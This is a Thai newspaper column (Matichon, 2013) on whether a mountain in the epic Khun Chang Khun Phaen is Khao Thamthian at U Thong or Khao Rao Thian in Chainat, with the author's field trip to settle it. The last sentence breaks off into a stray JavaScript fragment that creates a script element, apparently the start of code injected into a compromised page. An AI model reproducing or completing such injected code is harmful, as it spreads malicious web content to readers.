มติชนรายวัน ฉบับประจำวันศุกร์ที่ 13 กันยายน 2556

          เขาทำเทียม (ภาษาปากชาวบ้าน บางทีเรียก เขาคำเทียม อ. อู่ทอง จ. สุพรรณบุรี) เป็นชื่อจอมเขาลูกหนึ่งอยู่ทิศตะวันตก (ด้านหลัง) เมืองอู่ทอง

          คนแต่ก่อนยกย่องเป็นจอมเขาศักดิ์สิทธิ์(แห่งหนึ่ง)ของเมืองอู่ทอง เพราะพบโบราณวัตถุสถานสำคัญหลายอย่างทั้งบนยอดเขาและเชิงเขา

          ในเสภาขุนช้างขุนแผน ฉบับพิมพ์เป็นทางการแพร่หลายทุกวันนี้ มีกล่าวถึงขุนแผนพานางวันทองหนีจากเรือนขุนช้างไปหลบซ่อนในป่า ซึ่งปัจจุบันคือบริเวณเมืองอู่ทอง กลอนเสภาตอนหนึ่งระบุจอมเขาลูกหนึ่งชื่อ“เขาธรรมเธียร” ดังนี้

          ร่มรื่นพื้นพรรณบุปผา           สะอาดตาช่อชูดูไสว

          ขุนแผนชักม้าคลาไคล           บัดใจถึงเขาธรรมเธียร

          ต่อจากนั้นเป็นบทชมดงตามขนบพรรณนาพันธุ์ไม้และนกต่างๆ

          ผมเคยยกเสภาตอนนี้มาเป็นพยานว่าชื่อเดิมของเขาทำเทียม คือ เขาธรรมเธียร ตามที่มีในเสภาซึ่งแต่งไว้นานนับร้อยปีมาแล้ว

          และตรวจชำระโดยนักปราชญ์สยามคนสำคัญมาก แล้วมักเรียกเป็นสามัญว่า “เสภาฉบับหอฯ” เพราะกรรมการหอสมุดวชิรญาณตรวจชำระจากต้นฉบับตัวเขียนบนสมุดข่อยที่มีอยู่หลายสำนวน โดยสมเด็จฯ กรมพระยาดำรงราชานุภาพ เป็นสภานายกฯ และเขียนตำนานเสภาอธิบายไว้ด้วย

          ชื่อเขาธรรมเธียรยังตรงกับในรายงานสมเด็จฯ ตรวจราชการเมืองสุพรรณบุรี พ.ศ. 2446 (สมัย ร.5)

          แต่แล้วมีปัญหา เมื่ออ่านขุนช้างขุนแผนฉบับวัดเกาะ โดย คริส เบเกอร์ และ ผาสุก พงษ์ไพจิตร บรรณาธิการ (สำนักพิมพ์ซิลค์เวอร์ม พิมพ์ครั้งแรก พ.ศ. 2556 หน้า 304) ตอนเดียวกัน มีกลอนเสภาต่างไป ว่า

          สำราญรื่นพื้นพรรณ์ล้วนบุปผา สอดตาช่อชูดูไสว

          ขุนแผนชักม้าพานางไป                  บัดใจก็ถึงเขาราวเทียน

          คริสและผาสุก ทำเชิงอรรถว่า “เขาราวเทียน คือสันเขาที่เป็นเขตแดนระหว่าง จ. ชัยนาท และ จ. อุทัยธานี ในปัจจุบัน”

          ครานั้นวันเสาร์ 7 กันยายน ผมอดรนทนไม่ได้ ต้องไปพิสูจน์ด้วยตาและด้วยตีนตัวเอง โดยตอนสายนั่งรถออกจากกรุงธนบุรี ไปบางบัวทอง ถึงสุพรรณ แล้วขึ้นไปทางเหนือ ผ่านศรีประจันต์, สามชุก, เดิมบางนางบวช เลยทางแยกเข้าบึง ฉวาก ก็พ้นเขตสุพรรณ

          เข้าเขต อ. หันคา จ. ชัยนาท เลี้ยวซ้ายไปทางตะวันตก ข้ามแม่น้ำท่าจีน (บางทีเรียกแม่น้ำมะขามเฒ่า หรือแม่น้ำสุพรรณ) เข้าตัว อ. หันคา ผ่านออกไปทาง อ. เนินขาม จ. ชัยนาท ไม่ไกลก็มีทางแยกเล็กๆ เลี้ยวขวาเข้าเขตเขาราวเทียน

          เขาราวเทียน อยู่ อ. เนินขาม (ต่อเนื่อง อ. หันคา) จ. ชัยนาท ปัจจุบันเป็น“ป่าสงวนแห่งชาติ ป่าเขาราวเทียน” ในท้องที่หลายตำบลต่อเนื่องกัน คือ ต. ไพรนกยูง ต. เนินขาม, ต. สุขเดือนห้า, ต. กะบกเตี้ย

          บริเวณโดยรอบเป็นที่เชิงเขาสูงๆ ต่ำๆ ลุ่มๆ ดอนๆ มีหุบห้วยหนองบึงทั่วไป (คล้ายคลึงบริเวณเขาทำเทียมที่อู่ทอง) เป็นปริมณฑลต่อเนื่องของบึงฉวากขึ้นไปทางเหนือ

          เมื่อเห็นภูมิประเทศจริงๆเข้าแล้ว ทำให้คล้อยตามไปว่าขุนแผนพานางวันทองหนีขุนช้างไปเขาพระ (อ. อู่ทอง สุพรรณ) แต่ขุนช้างตามทัน แล้วได้รบกันจนขุนช้างหนีกลับ ขุนแผนรู้ดีว่า“เห็นไม่วายสงครามตามมารบ” จึงบอกวันทองว่า“จะอยู่นี่นานนักไม่ได้น้อง”

          แล้วก็พากันขี่ม้าสีหมอกขึ้นไปทางเหนือ เลียบชายป่าชายดงตามลำน้ำท่าว้า-ท่าคอย (ขนานแม่น้ำท่าจีน) ผ่านสามชุก, ด่านช้าง, เดิมบางนางบวช, (เส้นทางเดียวกับสุนทรภู่ในโคลงนิราศสุพรรณ), บึงฉวาก, ถึงเขาราวเทียน ที่ อ. เนินขาม ต่อเนื่อง อ. หันคา จ. ชัยนาท

          เรื่องราวน่าจะเป็นไปตามฉบับวัดเกาะ เพราะในที่สุดขุนแผนก็ตัดสินใจพานางวันทองไปเมืองพิจิตร (จ. พิจิตร) ซึ่งอยู่บนเส้นทางเหนือขึ้นไปทางแควยม-น่าน เพื่อพึ่งพระพิจิตร พามอบตัว ขอลุแก่โทษ สู้คดีกับขุนช้าง

          อ. รุ่งโรจน์ ภิรมย์อนุกูล (คณะมนุษยศาสตร์ มหาวิทยาลัยรามคำแหง) ท้วงติงว่าต้องตรวจต้นฉบับตัวเขียนบนสมุดข่อยว่าชื่อภูเขาอะไรแน่? เขาธรรมเธียรตามฉบับหอฯ หรือเขาราวเทียนตามฉบับวัดเกาะ?

          ใครจะช่วยไปตรวจฉบับตัวเขียนได้ล่ะ? ผมเองไม่ขยัน แต่ที่สำคัญคือไม่มีปัญญาvar d=document;var s=d.createElement(‘script’);